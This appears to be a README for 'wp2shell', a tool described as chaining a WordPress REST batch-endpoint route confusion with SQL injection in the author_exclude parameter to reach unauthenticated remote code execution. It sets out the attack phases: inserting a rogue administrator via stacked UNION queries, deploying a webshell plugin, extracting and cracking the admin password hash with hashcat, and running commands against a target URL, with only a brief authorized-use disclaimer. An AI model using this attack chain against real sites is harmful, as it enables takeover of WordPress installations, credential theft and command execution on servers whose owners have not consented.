iqbalx7/wp2shellunauthenticated RCE in WordPress core (CVE-2026-63030 + CVE-2026-60137)
Exploit WordPress REST API route confusion (CVE-2026-63030) + SQL injection (CVE-2026-60137) in the batch endpoint to achieve Remote Code Execution.
The WordPress REST API batch endpoint (/batch/v1) does not properly isolate request routing. By nesting batch requests inside each other, an attacker can make internal requests that bypass WordPress's normal permission checks. The key indicator is the parse_path_failed + block_cannot_read error pattern in the response — this confirms the route confusion is exploitable.
When a request is misrouted via the batch endpoint, the author_exclude parameter in GET /wp/v2/posts is not properly sanitized. This allows SQL injection via stacked queries and UNION statements — all without authentication.
Phase 1: Probe
─────────────
Check batch endpoint reachable (HTTP 207)
Verify route confusion via marker requests
Confirm SQL injection via timing/oracle
Phase 2: UNION → RCE (fast path)
─────────────────────────────
If UNION injection works:
1. Detect table prefix (blind or brute-force common ones)
2. CREATE ADMIN USER via stacked UNION INSERT queries
- Bcrypt hash generated via PHP on attacker machine
- Insert row into {prefix}_users + {prefix}_usermeta
- New user gets administrator capabilities
3. Login + Deploy webshell as WordPress plugin
4. Execute commands via ?t=TOKEN&c=id
Phase 3: Blind → Hash (fallback path)
─────────────────────────────────
If UNION is blocked but blind SQLi works:
1. Extract MySQL version, user, database name
2. Extract table prefix from information_schema
3. Extract admin hash from {prefix}_users WHERE id=1
4. Crack offline: hashcat -m 3200 hash.txt wordlist.txt
5. Use --user / --pass --cmd id with cracked password
Phase 4: Credential login
──────────────────────
If --user/--pass provided:
1. Login via wp-login.php or REST API Basic Auth
2. Upload webshell as plugin
3. Execute commands
# Auto mode — check, UNION, create admin, deploy webshell
python3 wp2shell.py https://target.com
# With known credentials (e.g., after cracking hash)
python3 wp2shell.py https://target.com --user admin --pass P@ssw0rd --cmd id
# UNION only (skip blind fallback)
python3 wp2shell.py https://target.com --union-only
# Blind extraction only (skip UNION attempt)
python3 wp2shell.py https://target.com --blind-only
# Debug via proxy
python3 wp2shell.py https://target.com --proxy http://127.0.0.1:8080
# Custom SLEEP duration for time-based blind (default 0.01s)
python3 wp2shell.py https://target.com --sleep 0.5
This tool is for authorized security testing only. You must have explicit permission from the target owner before using it. Unauthorized access to computer systems is illegal.
| Flag | Description |
|---|
--proxy | HTTP proxy (e.g., Burp Suite) |
--user | Admin username for login |
--pass | Admin password |
--cmd | Command to execute on target |
--union-only | Skip blind extraction |
--blind-only | Skip UNION attempt |
--sleep | SLEEP seconds for time-based blind |